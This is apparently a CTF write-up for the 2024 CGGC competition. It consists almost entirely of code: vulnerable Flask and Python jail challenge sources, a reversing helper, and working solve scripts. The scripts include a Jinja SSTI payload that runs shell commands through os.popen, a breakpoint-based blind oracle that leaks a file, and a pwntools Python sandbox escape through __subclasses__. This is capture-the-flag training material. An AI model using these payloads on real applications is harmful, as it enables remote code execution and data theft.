2024 CGGC CTF Write up

from flask import Flask, request, redirect, render_template, session, url_for, flash
  import urllib.request
  import urllib.error
  import urllib.parse
  import os

  app = Flask(__name__)
  app.secret_key = os.urandom(24)

  users = {'guest': 'guest'}

  def send_request(url, follow=True):
      try:
          response =  urllib.request.urlopen(url)
      except urllib.error.HTTPError as e:
          response = e
      redirect_url = response.geturl()
      if redirect_url != url and follow:
          return send_request(redirect_url, follow=False)
      return response.read().decode('utf-8')


  @app.route('/login', methods=['GET', 'POST'])
  def login():
      next_url = request.args.get('next', url_for('index'))
      if request.method == 'POST':
          username = request.form['username']
          password = request.form['password']
          if users.get(username) == password:
              session['username'] = username
              flash('login success')
              return redirect(next_url)
          else:
              error = 'login failed'
              return render_template('login.html', error=error, next=next_url)
      return render_template('login.html', next=next_url)

  @app.route('/logout')
  def logout():
      session.pop('username', None)
      next_url = request.args.get('next', url_for('index'))
      return redirect(next_url)

  @app.route('/fetch', methods=['GET', 'POST'])
  def fetch():
      if 'username' not in session:
          return redirect(url_for('login'))

      if request.method == 'POST':
          url = request.form.get('url')
          if not url:
              flash('Please provide a URL.')
              return render_template('fetch.html')
          try:
              if not url.startswith(os.getenv("DOMAIN", "http://previewsite/")):
                  raise ValueError('badhacker')
              resp = send_request(url)
              return render_template('fetch.html', content=resp)
          except Exception as e:
              error = f'error：{e}'
              return render_template('fetch.html', error=error)
      return render_template('fetch.html')

  @app.route('/')
  def index():
      username = session.get('username')
      return render_template('index.html', username=username)

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    return "Hello, World! <br><a href='/SsTiMe'>SSTI me</a> :/"

@app.route('/SsTiMe', methods=['GET'])
def showip():
    # WOW! There has a SSTI in Flask!!!
    q = request.args.get('q', "'7'*7")

    # prevent smuggling bad payloads!
    request.args={}
    request.headers={}
    request.cookies={}
    request.data ={}
    request.query_string = b"#"+request.query_string

    if any([x in "._.|||" for x in q]) or len(q) > 88:
        return f"Too long for me :/ my payload less than 73 chars"

    res = render_template_string(f"{{{{{q}}}}}",
        # TODO: just for debugging, remove this in production
        breakpoint=breakpoint,
        str=str
    )

    # oops, I just type 'res' not res qq
    return 'res=7777777'

#!/usr/bin/env python3

import requests
import sys

TMPFILE='t'

def cp_flag(url):
    print(f'[*] copying flag to {TMPFILE}')
    
    payload = f"q=lipsum['\\x5f\\x5fglobals\\x5f\\x5f']['os']['popen']('cp /f* {TMPFILE}')"
    print(len(payload))
    resp = requests.get(url, params=payload)

    if resp.status_code != 200 or b'Too long for me' in resp.content:
        print(f'[-] failed to copied flag to {TMPFILE}')
        exit(1)
        
    print(f'[*] flag copied to {TMPFILE}')

def exp(ip, port):
    url = f'http://{ip}:{port}/SsTiMe'

    cp_flag(url)
    payload = """q=breakpoint(commands=["tbreak app:31,getattr(open('{}'),'read')()[{}]=='{}'",'c'])"""
    print(len(payload))
    idx = 5
    flag = 'CGGC{'
    while True:
        newflag = flag
        for c in '_.}%\'"&0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
            c = c.replace('_','\\x5f').replace('.','\\x2e').replace('%','%25').replace('&','%26').replace("'","\\'").replace('"','\\"')
            p = payload.format(TMPFILE, idx, c)
            resp = requests.get(url, params=p)
            if resp.status_code == 500:
                newflag += c.replace('\\x5f','_').replace('\\x2e','.').replace('%25','%').replace('%26','&').replace("\\'","'").replace('\\"','"')
                print(newflag, end='\r')
                break
            
        if newflag == flag:
            newflag += '#'
            
        idx += 1
        flag = newflag
        if flag[-1] == '}':
            break
    print(f'\033[32m{flag}\033[0m')
    
if __name__ == '__main__':
    ip, port = sys.argv[1:]
    exp(ip, port)

from subprocess import Popen, PIPE
from base64 import b64encode

log = open("./output", "wb")

with open("./flag.png", "rb") as f:
    flag = f.read()
    flag = b64encode(flag)

with Popen(["./lazy7", flag], stdout=PIPE, stdin=PIPE, stderr=PIPE) as proc:
    output = proc.stdout.read()
    log.write(output)

import sys
from base64 import b64decode 
def decompress_a2(a2, num_units):
    
    decompressed = []

    for i in range(num_units):
        offset, length, next_char = a2[i]
        # If length is greater than 0, it indicates a match
        if length > 0:
            # Copy the matched substring from the decompressed data
            start_index = len(decompressed) - offset
            for j in range(length):
                decompressed.append(decompressed[start_index + j])
        
        # Append the next character
        if (next_char == '\x00'):
            continue
        decompressed.append(next_char)
    
    # Join the list into a single string and return it
    return ''.join(decompressed)


def reverse_sub_14D5(hex_string):
    
    units = []
    i = 0
    while i < len(hex_string):
        # Extract parts from the hexadecimal string
        offset_hex = hex_string[i:i+4]
        length_hex = hex_string[i+4:i+8]
        next_char = hex_string[i+8:i+10]
        
        # Convert hex strings to integer values with little-endian adjustment
        offset = int(offset_hex, 16)
        length = int(length_hex, 16)
        next_char = chr(int(next_char, 16))
        
        # Store the unit in the list as (offset, length, next_char)
        units.append((offset, length, next_char))
        
        # Move to the next 10-character chunk
        i += 10
    
    return units


file = sys.argv[1]
with open(file) as f:
    hex_string = f.read().split("Output Data: ")[1].replace('\n','')
    print('len: ', len(hex_string))
    first_round_units = reverse_sub_14D5(hex_string)
    first_round_str = decompress_a2(first_round_units, len(first_round_units))
    second_round_units = reverse_sub_14D5(first_round_str)
    decompressed = decompress_a2(second_round_units, len(second_round_units))
    flag = b64decode(decompressed)
    with open('flag.png', 'wb') as f:
        f.write(flag)

#!/usr/local/bin/python3
print(open(__file__).read())

flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"

inp = __import__("unicodedata").normalize("NFKC", input(">>> "))

if any([x in "._." for x in inp]) or inp.__len__() > 55:
    print('bad hacker')
else:
    eval(inp, {"__builtins__": {}}, {
         'breakpoint': __import__('GoodPdb').good_breakpoint})

print(flag)

import pdb

# patch from https://github.com/python/cpython/blob/ed24702bd0f9925908ce48584c31dfad732208b2/Lib/cmd.py#L98


class GoodPdb(pdb.Pdb):
    def cmdloop(self, intro=None):
        """Repeatedly issue a prompt, accept input, parse an initial prefix
        off the received input, and dispatch to action methods, passing them
        the remainder of the line as argument.

        """

        self.preloop()
        if self.use_rawinput and self.completekey:
            try:
                import readline
                self.old_completer = readline.get_completer()
                readline.set_completer(self.complete)
                if readline.backend == "editline":
                    if self.completekey == 'tab':
                        # libedit uses "^I" instead of "tab"
                        command_string = "bind ^I rl_complete"
                    else:
                        command_string = f"bind {self.completekey} rl_complete"
                else:
                    command_string = f"{self.completekey}: complete"
                readline.parse_and_bind(command_string)
            except ImportError:
                pass
        try:
            if intro is not None:
                self.intro = intro
            if self.intro:
                self.stdout.write(str(self.intro)+"\n")
            stop = None
            while not stop:
                if self.cmdqueue:
                    line = self.cmdqueue.pop(0)
                else:
                    if self.use_rawinput:
                        try:
                            """
                            no interactive!
                            """
                            # line = input(self.prompt)
                            line = "EOF"
                        except EOFError:
                            line = 'EOF'
                    else:
                        self.stdout.write(self.prompt)
                        self.stdout.flush()
                        line = self.stdin.readline()
                        if not len(line):
                            line = 'EOF'
                        else:
                            line = line.rstrip('\r\n')
                line = self.precmd(line)
                stop = self.onecmd(line)
                stop = self.postcmd(stop, line)
            self.postloop()
        finally:
            if self.use_rawinput and self.completekey:
                try:
                    import readline
                    readline.set_completer(self.old_completer)
                except ImportError:
                    pass

    def do_interact(self, arg):
        """
        no interactive!
        """
        pass


good_breakpoint = GoodPdb().set_trace

#!/usr/bin/env python3
from pwn import *
import sys

ip, port = sys.argv[1:]

r = remote(ip, port)
r.recvuntil(b'\n>>>')

to_debug = b"breakpoint(commands=['debug'])"
r.sendline(to_debug)
r.recvuntil(b')) ')
get_flag = b"""''.__class__.__base__.__subclasses__()[250]()._module.__builtins__['open']('flag').read()"""
r.sendline(get_flag)
success(r.recvuntil(b'}'))